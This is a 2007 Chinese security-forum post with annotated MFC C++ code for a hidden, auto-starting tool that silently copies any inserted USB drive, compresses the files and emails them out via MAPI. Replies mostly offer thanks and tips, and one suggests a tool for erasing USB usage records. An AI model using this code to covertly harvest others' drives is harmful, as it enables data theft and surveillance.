首页
社区
课程
招聘
[原创]实用软件-详细注释的源代码
2007-11-14 19:02 19723

[原创]实用软件-详细注释的源代码

2007-11-14 19:02
19723
【文章标题】: 实用软件-详细的源代码
【文章作者】: CCDeath
【作者邮箱】: ccdeath@163.com
【下载地址】: 附件里下载
【操作平台】: Mark!!
【作者声明】: 只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教!
--------------------------------------------------------------------------------
【详细过程】
      主任U盘掉了,里面重要资料没了..想要一个软件预防一下...偶闲着没事做了一个,基本符合他的要求....
  
  1.copyU盘内容到硬盘...自动copy到自己随便指定的位置,且在后台运行...
  2.能后台压缩该内容,并能自动发送到邮件
  3.随便自定义系统热键
  4.开机自启动,启动后自隐藏功能...
  
  #include "stdafx.h"
  #include "COPY_U_CCDeath.h"
  #include "COPY_U_CCDeathDlg.h"
  #include "mapi.h"        //Added by ccdeath:邮件头文件
  #include "dbt.h"//Made by  ccdeath  U盘
  
  
  现在偶来讲一下了关键实现:
1.重载LRESULT CCOPY_U_CCDeathDlg::DefWindowProc(UINT message, WPARAM wParam, LPARAM lParam)进行U盘检测...
  
  
  LRESULT CCOPY_U_CCDeathDlg::DefWindowProc(UINT message, WPARAM wParam, LPARAM lParam)
  {
          // TODO: Add your specialized code here and/or call the base class
          if(message == WM_DEVICECHANGE)//这边详细看该程序帮助的地方文档...
          {
                  CString str;
                  DEV_BROADCAST_HDR * dhr = (DEV_BROADCAST_HDR *)lParam;//查看MSDN
                  switch(wParam)
                  {
                  case DBT_DEVICEARRIVAL:
                          if(dhr->dbch_devicetype==DBT_DEVTYP_VOLUME)//Media设备插入并且已经可用
                          {
                                  PDEV_BROADCAST_VOLUME lpdbv =(PDEV_BROADCAST_VOLUME)dhr;//详细看说明为什么可以...         
                  str.Format("%c:",FirstDriveFromMask(lpdbv->dbcv_unitmask));//这个没有库函数用于返回磁盘,需要重新定义  
                 
                                          //首先要判断是否为U盘(偶怕插入其他的东西也拷比较麻烦)...然后...在这边设置Timer...呵呵..
                                  if(GetDriveType((LPCTSTR)str)==DRIVE_REMOVABLE)
                                  {                       
                                          this->m_strDisk=str;
                                          SetTimer(1,100,NULL);                               
                                  }                                 
                          }
                          break;//  
                  }  
          }

  复制文件部分1://这个部分是把所有文件放在目录下,不能复制文件下,请看第二部分
  void CCOPY_U_CCDeathDlg::CopyFile(CString dir)
  {
  
  //使用CFileFind,具体使用查看MSDN
          CFileFind fileFind;
          CString sFind;
          sFind.Format("%s\\*.*",dir);//比如"K:"->K:\*.*
  
          bool IsFile =(bool)fileFind.FindFile(sFind);//查找K:\下所有的文件和目录...
          while(IsFile)//直到没有文件就退出
          {
                  IsFile =(bool)fileFind.FindNextFile();//在根目录和子目录使用是有区别的...
                  if(!fileFind.IsDots())//这个很重要. 和..
                  {
                          CString sFileName = fileFind.GetFileName();
            //接下来对文件 和 对文件夹进行处理
                          if(fileFind.IsDirectory())//有目录进行递归遍利
                          {
                                  CString tempDir;
                                  tempDir.Format("%s\\%s",dir,sFileName);
                                  CopyFile(tempDir);
                          }
                          else//这个处理就比较简单了...
                          {
                                  CString tempFileName1,tempFileName2;
                                  tempFileName1.Format("%s\\%s",dir,sFileName);
                                  tempFileName2.Format("%s\\%s",this->m_CopyPath,sFileName);
                                  ::CopyFile(tempFileName1,tempFileName2,false);//后台
                          }
                  }
          }
           this->SetDlgItemText(IDC_CHECKCHANGE,"复制文件成功:-)");
           bCopy=true;
  }
  
修正:  复制文件2:
//复制文件
void CCOPY_U_CCDeathDlg::CopyFile(CString dir)
{
//比先前用的更简单了SHFILEOPSTRUCT;需要解决str与char字符的转换,借助strcpy;

     char cSourceFile[255+1]="";//假设最大的文件名最大字符串是255个字符...
     char cDestFile[255+1]="";
     dir+="\\*.*";//由K:->k:\*.*
     strcpy(cDestFile,this->m_CopyPath);
     strcpy(cSourceFile,dir);

     SHFILEOPSTRUCT  fileop;//shell文件操作..   shell file operator struct;
     fileop.hwnd = m_hWnd; //句柄  
     fileop.wFunc= FO_COPY;//复制
     fileop.pFrom= cSourceFile;//从U盘里   
     fileop.pTo=cDestFile; //      
     fileop.fFlags = FOF_NOCONFIRMATION |  FOF_SILENT  ;  
     if(SHFileOperation(&fileop)!=0)   
     {
         return ;
     }   
       
     this->SetDlgItemText(IDC_CHECKCHANGE,"复制文件成功:-)");
     bCopy=true;
}
  2.解决压缩文件的做法,偶采用winrar自己带的命令行...
  bool  CCOPY_U_CCDeathDlg::OnWinrarPress()
  {
          this->SetDlgItemText(IDC_CHECKCHANGE,"正在压缩文件中...");
          STARTUPINFO si;
          ZeroMemory(&si, sizeof(si));
          si.cb = sizeof STARTUPINFO;
          si.wShowWindow = SW_SHOW;
          si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
          PROCESS_INFORMATION pi;
          CString str="C:\\Program Files\\WinRAR\\Rar.exe a -r ";
          str+=m_CopyPath; //压缩后的路径
          str+=" ";//中间加个空格
          str+=m_CopyPath;//要压缩的目录
  
          BOOL res = CreateProcess(NULL,
  //        "C:\\Program Files\\WinRAR\\Rar.exe a -r D:\\CC.rar D:\\cc",
          str.GetBuffer(0),
          NULL,
          NULL,
          NULL,
          NORMAL_PRIORITY_CLASS | CREATE_NO_WINDOW,
          NULL,
          NULL,
          &si,
          &pi);
          if (TRUE == res)
          {
          //等待进程执行完毕       
                  WaitForSingleObject(pi.hProcess, INFINITE);  //来自自己写的《完美多线程设计》
                  CloseHandle(pi.hProcess);
                  CloseHandle(pi.hThread);
                  this->SetDlgItemText(IDC_CHECKCHANGE,"压缩成功:-)\r\n正在发送邮件中...");
                  return 1;
          }
          else  return 0;
  }
  3.解决发送邮件问题:outlook中用shellexcute不能带有附件,所以只能重写mapi
  if(bCopy)
   {
          if(this->OnWinrarPress())
          {
                  UpdateData(true);
  
  
                  AfxGetApp()->WriteProfileInt("MAIL","AutoMail",0);
                  UpdateData(false);
  
                  HMODULE hMod = LoadLibrary("MAPI32.DLL");
         
                  if(hMod == NULL)
                  {
                          AfxMessageBox(AFX_IDP_FAILED_MAPI_LOAD);//无法装入系统
                          return ;
                  }
          //从这个动态链接库发取出送邮件的函数地址
                  ULONG (PASCAL *lpfnSendMail)(ULONG ,ULONG,MapiMessage*,FLAGS,ULONG);
                  (FARPROC&)lpfnSendMail=GetProcAddress(hMod,"MAPISendMail");//取出"MAPISendMail"
  
                  if(lpfnSendMail == NULL)
                  {
                          AfxMessageBox(AFX_IDP_INVALID_MAPI_DLL);
                          return ;
                  }
  //        else{AfxMessageBox("i love you");}
  //收件人结构信息
                  CString sAddress = this->m_MailAddress;
                  CString sName=this->m_CopyPath;
                  sName+=".rar";
                  MapiRecipDesc recip;
                  memset(&recip,0,sizeof(MapiRecipDesc));
                  recip.lpszAddress        = sAddress.GetBuffer(0);
                  recip.ulRecipClass = MAPI_TO;
                  recip.lpszName = sAddress.GetBuffer(0);
  //附件结构信息
                  MapiFileDesc FileDesc;
                  memset(&FileDesc,0,sizeof(FileDesc));
                  FileDesc.lpszPathName=sName.GetBuffer(0);
                  FileDesc.nPosition=(ULONG)-1;//附件在邮件中的位置
  
  //邮件结构信息
                  MapiMessage message;
                  memset(&message,0,sizeof(message));
                  message.nRecipCount = 1;//收件人的个数,只有一个了
                  message.lpRecips = &recip;//收件人信息
                  message.nFileCount = 1;//附件的个数,只有一个了
                  message.lpFiles = &FileDesc;//附件信息
                  message.lpszSubject = "Happy Every Day :-)";//主题信息
                  message.lpszNoteText = "天天快乐";//正文内容,不需要
  
  //保存本窗口指针,发送完邮件要返回本程序窗口
                  CWnd *pCurrentWnd = CWnd::GetSafeOwner(NULL,NULL);
      
  //调用发送邮件函数,发送邮件
                  int nError = lpfnSendMail(0,0,&message,MAPI_LOGON_UI | MAPI_DIALOG,0);
         
                  if(nError != SUCCESS_SUCCESS && nError != MAPI_USER_ABORT
                          && nError!= MAPI_E_LOGIN_FAILURE)
                  {
                          AfxMessageBox(AFX_IDP_FAILED_MAPI_SEND);
                  }
         
  //返回程序
                  pCurrentWnd->SetActiveWindow();
  
  //释放分配的内存   
  
                  FreeLibrary(hMod);
                  this->SetDlgItemText(IDC_CHECKCHANGE,"邮件发送成功:-)");
                  UpdateData(false);
  
  
          }
          }
   else
                   this->SetDlgItemText(IDC_CHECKCHANGE,"还没复制好文件,请重插U盘....");
  //UpdateWindow();
  
  }
  
  程序里面有详细的说明及附一份小文档....
  
--------------------------------------------------------------------------------
【版权声明】: 本文原创于看雪技术论坛, 转载请注明作者并保持文章的完整, 谢谢!

                                                       2007年11月14日 18:37:27

阿里云助力开发者!2核2G 3M带宽不限流量!6.18限时价,开 发者可享99元/年,续费同价!

上传的附件:
收藏
点赞7
打赏
分享
最新回复 (24)
雪    币: 233
活跃值: (10)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
okdodo 2 2007-11-14 20:15
2
0
感谢分享源码 ~
雪    币: 709
活跃值: (2265)
能力值: ( LV12,RANK:1010 )
在线值:
发帖
回帖
粉丝
sudami 25 2007-11-14 22:25
3
0
学习~
雪    币: 28389
活跃值: (6806)
能力值: ( LV15,RANK:3306 )
在线值:
发帖
回帖
粉丝
风间仁 19 2007-11-15 00:17
4
0
感谢分享。。
雪    币: 217
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
DPLJ 2007-11-15 10:31
5
0
呵呵!LZ高,PMP的水平也不低。
雪    币: 260
活跃值: (102)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
firefly 4 2007-11-15 10:35
6
0
真是有创意:)
雪    币: 1852
活跃值: (504)
能力值: (RANK:1010 )
在线值:
发帖
回帖
粉丝
北极星2003 25 2007-11-15 18:04
7
0
感谢分享!!
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
michaelsu 2007-11-15 18:23
8
0
哈哈,学习了..
雪    币: 709
活跃值: (2265)
能力值: ( LV12,RANK:1010 )
在线值:
发帖
回帖
粉丝
sudami 25 2007-11-15 20:07
9
0
用WINRAR压缩的时候,要首先搜索winrar.exe的位置,不一定用户就装在
"C:\\Program Files\\WinRAR\\Rar.exe

在注册表
HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache里面有一个项保存了WINRAR的完整安装路径。判断比较即可获得正确路径。

雪    币: 3758
活跃值: (3212)
能力值: ( LV15,RANK:500 )
在线值:
发帖
回帖
粉丝
曾半仙 12 2007-11-16 11:09
10
0
MAX_PATH早已不是255了, 而且还是new的好, 特别是这种没有将递归展开的教学用法, 否则栈很容易就爆了....
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
网影 2007-11-26 22:52
11
0
精品信手拈来啊,偶学习下
雪    币: 321
活跃值: (271)
能力值: ( LV13,RANK:1050 )
在线值:
发帖
回帖
粉丝
combojiang 26 2007-11-27 10:01
12
0
哈,不错。
雪    币: 199
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
一个穷光蛋 2007-11-27 10:37
13
0
创意无限,赞!
雪    币: 232
活跃值: (94)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
auser 2007-11-27 17:08
14
0
太好了!最喜欢看这些有注释的代码了。
雪    币: 230
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wytqqw 2007-12-4 16:35
15
0
感谢分享            。。。。。。。。。
雪    币: 398
活跃值: (39)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
wzjok 1 2007-12-13 20:54
16
0
谢谢分享,我已据此作了一个小软件,功能类似于NewUcopyKing,不过功能比它大多了!
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
pick 2007-12-14 10:38
17
0
其实直接考到硬盘上还是比较实用的
至于发邮件有点麻烦
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wuwenzhang 2007-12-14 13:33
18
0
顶一个。。。。。。。。。。
雪    币: 207
活跃值: (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
xfmaple 1 2007-12-14 14:15
19
0
CFileFind 好像有溢出吧
雪    币: 223
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ljseven 2007-12-14 16:53
20
0
学习 !!
雪    币: 324
活跃值: (57)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
swqswq 2008-1-12 13:40
21
0
感谢分享源码,下载学习,
雪    币: 251
活跃值: (250)
能力值: ( LV9,RANK:210 )
在线值:
发帖
回帖
粉丝
moon 5 2008-1-13 22:22
22
0
建议编一个删除特定U盘使用记录的软件,很实用的。
雪    币: 205
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
coolxiao 2008-1-16 17:57
23
0
顶,学习中。。。。
雪    币: 4476
活跃值: (2859)
能力值: ( LV13,RANK:283 )
在线值:
发帖
回帖
粉丝
littlewisp 2 2008-1-23 17:14
24
0
谢谢分享源码。
几点建议:
1.采用特定的压缩库(不一定安装winrar)
2.移动硬盘好大啊,不会也复制吧,没有试。
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
zilaiye 2008-1-23 18:04
25
0
好东西,学习了。
游客
登录 | 注册 方可回帖
返回